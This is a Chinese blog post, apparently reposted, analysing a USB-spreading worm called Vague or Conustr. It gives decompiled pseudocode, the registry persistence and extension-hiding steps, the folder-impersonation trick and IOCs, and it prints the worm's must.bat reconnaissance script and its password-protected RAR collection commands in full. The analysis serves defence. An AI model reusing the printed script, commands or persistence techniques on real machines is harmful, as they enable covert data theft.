一例Vague病毒的分析

news2024/11/25 2:32:24

这是一例通过U盘传播的文件夹病毒,有收集用户文件的行为,但是,没有回传和远控行为,有点奇怪,其中的字符串进行了加密。
样本比较简单,使用IDA很容易就看明白了。
根据匹配到威胁情报,有叫Vague蠕虫,也有叫Conustr,也没有找到其它相关的信息。

样本的基本信息

Verified:	Unsigned
Link date:	15:15 2013/8/26
MachineType:	32-bit
MD5:	E9A6B1346D1A2447CABB980F3CC5DD27
SHA1:	FE102A75E319AAB20F030299DF3A0A36204B4019
大小 136 KB (139,264 字节)
编译器: EP:Microsoft Visual C/C++(6.0 (1720-9782))[EXE32]
编译器: Microsoft Visual C/C++(6.0)[libc]
链接程序: Microsoft Linker(6.0*)[GUI32]

使用文件夹图标

静态分析

winmain函数

首先注册了一个窗口类,创建一个名为DefaultIME IME的窗口并隐藏

设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt="",用于隐藏文件后缀名,这个样本修改注册表的方式有点特别,会生成一个文本文件(如下所示)保存为%temp%\ppxxx,然后执行regini.exe %temp%\ppxxx来修改注册表。后台添加开机启动项也采用这种方式。

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
"NeverShowExt"= REG_SZ ""

若存在同名的文件夹,将其打开

以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开,若打开失败,说明已经有一个实例在运行,退出 。

若当前程序路径不是%temp%\conhost.exe,说明是当前实例从U盘上运行,则将自身拷贝到%temp%\conhost.exe并隐藏,运行%temp%\conhost.exe,本实例退出。

释放并执行一个批处理文件,%temp%\must.bat,这个脚本用来获取主机的信息和文件列表,保存在%temp%\winword4.doc,运行后会自毁

解析系统Recent目录下lnk文件,将最近访问过的 *.doc、*.docx、*.pdf、*.mvd、 *.tif、 *.xls、*.xlsx文件和%temp%\winword4.doc,使用winrar程序打包进%temp%\WPDNSE\XXXXXXXX.NLS(XXXXXXXX为根据本地计算名生成的一个DWORD类型的整数的十六进制表示)

创建3个定时器,id为1、2、3,时间间隔分别为1小时、1分钟、10秒。

winmain函数结构很清楚,F5生成伪代码如下

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  int result; // eax
  struct tagMSG Msg; // [esp+Ch] [ebp-224h] BYREF
  WCHAR cmd; // [esp+28h] [ebp-208h] BYREF
  char v7[516]; // [esp+2Ah] [ebp-206h] BYREF
  __int16 v8; // [esp+22Eh] [ebp-2h]

  CoInitialize(0u);                             // 初始化化COM接口,后面打开link文件会用到
  SetErrorMode(0x8003u);                        // 设置不提示错误
  RegWindow_403980(hInstance);                  // 注册一个窗口类  classname = DefaultIME
  SetNeverShowExt_4014B0();                     // 设置注册表HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\NeverShowExt=""
                                                // 不显示文件扩展名
  result = (int)CreateWindow_403A20(hInstance, 0);// 创建一个窗口并隐藏,窗口名为DefaultIME IME
  if ( result )
  {
    SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNE_UPDATEDIR, 0u, 0u);// 更新文件类型关联配置,使上面设置的注册表项生效
    OpenDirInSameName_401070();                 // 打开同名的真正的文件夹
    Sleep(2013u);
    // 以非共享模式创建文件 %temp%\~tmpx5.tmp ,相当于互斥量,防止双开
    if ( CreateFile_401000(L"~tmpx5.tmp") == (HANDLE)INVALID_FILE_SIZE )
    {
      result = 0;                               // 若打开失败,说明已经有一个实例在运行,退出 
    }
    else if ( CopySelf_4012D0() == 1 )          // 若当前程序路径不是%temp%\conhost.exe,说明是在U盘上,则将自身拷贝到%temp%\conhost.exe并隐藏
    {
      cmd = 0;
      memset(v7, 0, sizeof(v7));
      v8 = 0;
      Gen_conhost_FileName_4013A0(&cmd);
      Exec_401870(&cmd, 0, 0);                  // 运行%temp%\conhost.exe,本实例退出
      result = 0;
    }
    else
    {                                           // 不是在U盘上运行
                                                // 初始化一个列表,保存要搜集的文件后缀名
      strcpy(file_ext0_40B5CE, "*.doc");        // *.doc
      strcpy(file_ext1_40B64E, "*.docx");       // *.docx
      strcpy(file_ext2_40B6CE, "*.pdf");        // *.pdf
      strcpy(file_ext3_40B74E, "*.mvd");        // *.mvd
      strcpy(file_ext4_40B7CE, "*.tif");        // *.tif
      strcpy(file_ext5_40B84E, "*.xls");        // *.xls
      strcpy(file_ext6_40B8CE, "*.xlsx");       // *.xlsx
      CreateAndExec_must_bat_402E90();          // 释放并执行%temp%\must.bat,获取主机的信息和文件列表,保存在%temp%\winword4.doc
      CollectFile_403500();                     // 将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc,
                                                // 使用winrar打包进%temp%\WPDNSE\XXXXXXXX.NLS
      SetTimer(hWnd, 1u, 3600000u, 0u);         // 创建了3个计时器 计时器1 1小时
      SetTimer(hWnd, 2u, 60001u, 0u);           // 计时器2 60s
      SetTimer(hWnd, 3u, 10002u, 0u);           // 计时器3 10s
      while ( GetMessageA(&Msg, 0u, 0u, 0u) )   // 消息循环
      {
        TranslateMessage(&Msg);
        DispatchMessageA(&Msg);
      }
      result = Msg.wParam;
    }
  }
  return result;
}

窗口函数

窗口函数的主要功能是处理三个定时器
定时器1:将最近访问过的*.doc *.docx *.pdf *.mvd *.tif *.xls *.xlsx文件和%temp%\winword4.doc
使用winrar打包进%temp%\WPDNSE\xxxxxxxx.NLS,并重设定时器

定时器2:在注册表中添加开机启动项,退出

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load=%temp%\conhost.exe

定时器3:遍历系统内的所有驱动器(包括网络驱动器),搜集文件,感染可移动存储介质

感染U盘

假设U盘的盘符为X
将自身拷贝到X:\RECYCLER\Dcfly.exe,若同名的文件已经存在,获取该文件的三个时间(CreationTime,LastAccessTime,LastWriteTime),若CreationTime.wSecond=20,CreationTime.wMilliseconds==444,LastWriteTime.wSecond=13,且比当前版本新,但执行U盘上的新版本,退出当前实例。

遍历U盘根目录的文件夹,跳过Recycled,RECYCLER,System,隐藏这些文件夹,将自身拷贝成同名文件,欺骗用户点击.

%temp%\WPDNSE\*.NLS%temp%\Media\*.ldf拷贝到X:\RECYCLER\下并隐藏,拷贝命令如下

C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\WPDNSE\*.NLS X:\RECYCLER\
C:\windows\system32\xcopy.exe /d /c /i /h /r /y %temp%\Media\*.ldf X:\RECYCLER\

X:\*.doc X:\*.docx X:\*.pdf X:\*.mvd X:\*.tif X:\*.xls X:\*.xlsx`` 打包进%temp%\WPDNSE\xxxxxxxx.NLS`

打包的命令

这个样本使用winrar程序来进行打包,执行命令如下,其中[X]为盘符,[yyyyMMdd]为当前日期,压缩的密码为ThisTw0Piece,[computer_name_hash]为当前系统计算名生成的一个DWORD类型的整数的16进制表示

"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] %temp%\WPDNSE\[computer_name_hash].NLS X:\*.doc X:\*.docx X:\.xls X:*xlsx X:\*.pdf X:\*.mvd X:\*.tif

"C:\Program Files\winrar\rar.exe" u -ap[X] -r -ed -tk -dh -s15000000 -hpThisTw0Piece -ta[yyyyMMdd] C:\Users\xxx\AppData\Local\Temp\WPDNSE\[computer_name_hash].NLS "[filename]"

must.bat

该样本会释放一个%temp%\must.bat的批处理脚本,内容如下,主要功能是采集系统信息和文件列表,保存在%temp%\winword4.doc,这个文件会被打包进NLS文件,运行完会自毁

@echo off
set xm2n=%temp%\winword4.doc
date /t  >%xm2n%
ver >>%xm2n%
net user >>%xm2n%
net localgroup administrators >>%xm2n%
net start >>%xm2n%
netstat -ano >>%xm2n%
tasklist >>%xm2n%
ipconfig /all >>%xm2n%
arp -a >>%xm2n%
systeminfo >>%xm2n%
net use >>%xm2n%
net view >>%xm2n%
net view /domain >>%xm2n%
net user /domain >>%xm2n%
dir c:\*.* /s/a/od >>%xm2n%
dir d:\*.* /s/a/od >>%xm2n%
dir e:\*.* /s/a/od >>%xm2n%
dir f:\*.* /s/a/od >>%xm2n%
dir g:\*.* /s/a/od >>%xm2n%
dir h:\*.* /s/a/od >>%xm2n%
dir i:\*.* /s/a/od >>%xm2n%
del """%0"""

IOC

文件
病毒本体
可移动存储介质上与文件夹同名的exe文件
X:\RECYCLER\Dcfly.exe 
%temp%\conhost.exe

%temp%\~tmpx5.tmp 用于防双开
X:\RECYCLER\*.ldf 不知道啥作用
%temp%\Media\*.ldf 不知道啥作用
%temp%\WPDNSE\[xxxxxxxx].NLS 压缩包,采集的本地和U盘中信息
%temp%\WPDNSE\[xxxxxxxx]@.NLS 压缩包,采集的远程驱动器的信息
X:\RECYCLER\[xxxxxxxx]@.NLS 压缩包
X:\RECYCLER\[xxxxxxxx].NLS 压缩包
%temp%\ppxxxx 注册表文件,临时文件,用完会删除
%temp%\winword4.doc 用于保存采集主机信息和文件列表的文本文件
%temp%\must.bat 用于采集主机信息和文件列表

注册表
隐藏文件后缀名
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile
NeverShowExt = ""
开机启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows
Load = "[%Temp%]\conhost.exe"

总结

这个样本是一个典型的通过摆渡的方式进行窃密的样本,通过感染U盘进行传播(将U盘根目录的文件夹隐藏,伪造成同名文件夹,欺骗用户点击执行),将终端的信息和特定类型的文件加密压缩保存在U盘中,有自我更新的功能,该样本依赖于winrar进行压缩和打包。有两个可疑的地方,一是该样本没有网络行为,二是目录%temp%\Media\和文件%temp%\Media\*.ldf起啥作用也不知道。

参考资料

  • 顽固木马清理专题之蠕虫篇《模糊的月光》
  • WORM_CONUSTR.A
  • How to remove Dcfly.exe
  • Como Eliminar Virus Que Convierte Las Carpetas En Archivos Exe

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/904325.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

阿里云服务器和轻量云服务器对比有什么区别?

阿里云轻量应用服务器和云服务器ECS有什么区别?ECS是专业级云服务器,轻量应用服务器是轻量级服务器,轻量服务器使用门槛更低,适合个人开发者或中小企业新手使用,可视化运维,云服务器ECS适合集群类、高可用、…

初识SD绘画

最近sd绘画可谓是火的一塌糊涂,AI的绘画能力是真强大。废话不多说,直入主题。 1,sd的本地安装大体有2种,一种是官网安装,一种是秋叶大神的整合包。我安装的是秋叶大神的包,里面的插件和模型都有了&#xf…

Personalize Segment Anything Model with One Shot【论文翻译】

​ 论文基础信息如下 https://arxiv.org/pdf/2305.03048.pdfhttps://github.com/ZrrSkywalker/Personalize-SAM Abstract 通过大数据预训练驱动,分段任意模型(Segment Anything Model,SAM)已被证明是一个强大且可提示的框架&am…

嵌入式通信底层逻辑演变 SWIRE/UART/I2C/SPI

文章目录 一、概念1.0、计算机通讯框架OSI 7层模型1.1、根据数据排布传输方式---并行通信 / 串行通信1.2、根据数据传输方向与时间关系分类----单工通信/半双工通信/全双工通1.3、半双工通信的 应答与流控机制----如I2C,通过开漏线与特性 实现1.4、根据收发方时间基…

【C++入门到精通】C++入门 —— 容器适配器、stack和queue(STL)

阅读导航 前言stack1. stack概念2. stack特点3. stack使用 queue1. queue概念2. queue特点3. queue使用 容器适配器1. 什么是适配器2. STL标准库中stack和queue的底层结构3. STL标准库中对于stack和queue的模拟实现⭕stack的模拟实现⭕stack的模拟实现 总结温馨提示 前言 文章…

单链表-Java实现

目录 概念 什么是链表? 为什么链表的头节点不能动,或者不能操作? 链表和数组的区别是什么? 实现 节点 单链表 末尾添加 遍历 按编号添加: 修改节点 删除 面试题 求单链表的长度 求单链表倒数第K个节点 …

Qt关于hex转double,或者QByteArray转double

正常的00 ae 02 33这种类型的hex数据类型可以直接通过以下代码进行转换 double QDataConversion::hexToDouble(QByteArray p_buf) {double retValue 0;if(p_buf.size()>4){QString str1 byteArrayToHexStr(p_buf.mid(0,1));QString str2 byteArrayToHexStr(p_buf.mid(1,…

更安全,更高效的自学网络安全与黑客技术

学习网络安全(黑客技术) 网络安全是:黑客技术是:网络安全与黑客技术的关系:自学网络安全学习的误区和陷阱:学习网络安全前期需要准备...学习网络安全中期大致步骤:学习网络安全推荐的学习资料&a…

【电子通识】什么是异常分析中的A-B-A方法

工作有了一定的经验之后,在做问题分析的时候,经常会听到别人说把这个部品(芯片/模块)拿去ABA一下,看看跟谁走。那么对于新人来说是否就会问一个问题:什么是ABA呢? A-B-A 交换是一种简单直接的交…

华为OD七日集训第1期 - 按算法分类,由易到难,循序渐进,玩转OD(文末送书)

目录 一、适合人群二、本期训练时间三、如何参加四、7日集训第一期 ~ 华为OD初体验五、精心挑选21道高频100分经典题目,作为入门。第1天、逻辑分析第2天、字符串处理第3天、数据结构第4天、双指针第5天、递归回溯第6天、二分查找第7天、贪心算法 && 二叉树 …

【双指针】经典数组双指针题LeetCode

文章目录 27. 移除元素 简单283. 移动零 简单🔥167. 两数之和 II - 输入有序数组 中等11. 盛最多水的容器 中等🔥15. 三数之和 中等(N数之和)中等🔥42. 接雨水 困难 🔥26. 删除有序数组中的重复项 简单5. 最…

Qt快速学习(一)--对象,信号和槽

目录 1.Qt概述 1.1 什么是Qt 2.2 手动创建 2.3 pro文件 2.4 一个最简单的Qt应用程序 3 第一个Qt小程序 3.1 按钮的创建 3.2 对象模型(对象树) 3.3 Qt窗口坐标体系 4 信号和槽机制 4.1 系统自带的信号和槽 4.2 自定义信号和槽 4.3信号槽的拓展 4…

GSM/CDMA/VoLTE/VoIP通话

1.GSM(Global System for Mobile Communications) 本质是一种多址技术,将多个通话放入一段无线电频道的方法。特点是通过“时间划分”,称为时分多址。 2.CDMA(Code Division Multiple Access) 一种多址技术,将多个通话放入一段无线电频道的…

11_Redis经典五大类型源码及底层实现

Redis经典五大类型源码及底层实现 一、Redis数据类型的底层数据结构 SDS动态字符串双向链表压缩列表 zpilist哈希表 hashtable调表 skiplist整数集合 intset快速列表 quicklist紧凑列表 listpack 二、Redis源码地址 Github:https://github.com/redis/redis 三、…

Appium 2安装与使用java对Android进行自动化测试

文章目录 1、Appium 2.1安装1.1、系统要求1.2、安装Appium2.1服务1.3、安装UiAutomator2驱动1.4、安装Android SDK platform tools1.5、下载OpenJDK 2、Android自动代码例子2.1、安装Android自动化测试元素定位工具Appium Inspector2.2、编写android app自动化测试代码和使用ex…

Lemon8与中国各大社交平台的内容输出整合,将会掀起何种风浪?

近期,Lemon8迅速在北美地区展开了布局,短短几天的时间,下载量就冲到了美国APP下载总榜的前十,随后更是直登顶生活类APP首榜。作为字节跳动旗下的出海内容平台,一经问世后,就受到了大量用户的关注,并吸引了海外媒体以及营销人士的目光。那么Lemon8与中国各大社交平台的内容输出整…

机器学习笔记之优化算法(十六)梯度下降法在强凸函数上的收敛性

机器学习笔记之优化算法——梯度下降法在强凸函数上的收敛性 引言回顾:凸函数与强凸函数梯度下降法:凸函数上的收敛性分析 关于白老爹定理的一些新的认识梯度下降法在强凸函数上的收敛性收敛性定理介绍结论分析证明过程 引言 本节将介绍:梯度…

人工智能大模型加速数据库存储模型发展 行列混合存储下的破局

数据存储模型 ​专栏内容: postgresql内核源码分析手写数据库toadb并发编程toadb开源库 个人主页:我的主页 座右铭:天行健,君子以自强不息;地势坤,君子以厚德载物. 概述 在数据库的发展过程中,关…

【Linux】进程间通信之信号机制

文章目录 信号的概念信号的产生硬件产生(按键盘中的按键)软件产生kill函数kill命令abort函数raise函数 捕捉信号后的处理方式默认处理方式SIG_DFL忽略处理方式SIG_IGN自定义信号处理方式signal函数sigaciotn函数 信号的注册进程中的未决信号集&#xff0…

在python中通过调用dll来提高运行速度

1、前言 最近项目中需要录制键鼠命令,然后再通过注入的方式回放录制过程。一般来说,普通的一些点击命令完全可以通过python的一些包来完成键鼠模拟操作,比如通过pyautogui包。但是,鼠标移动过程中,如果采用频率很高的…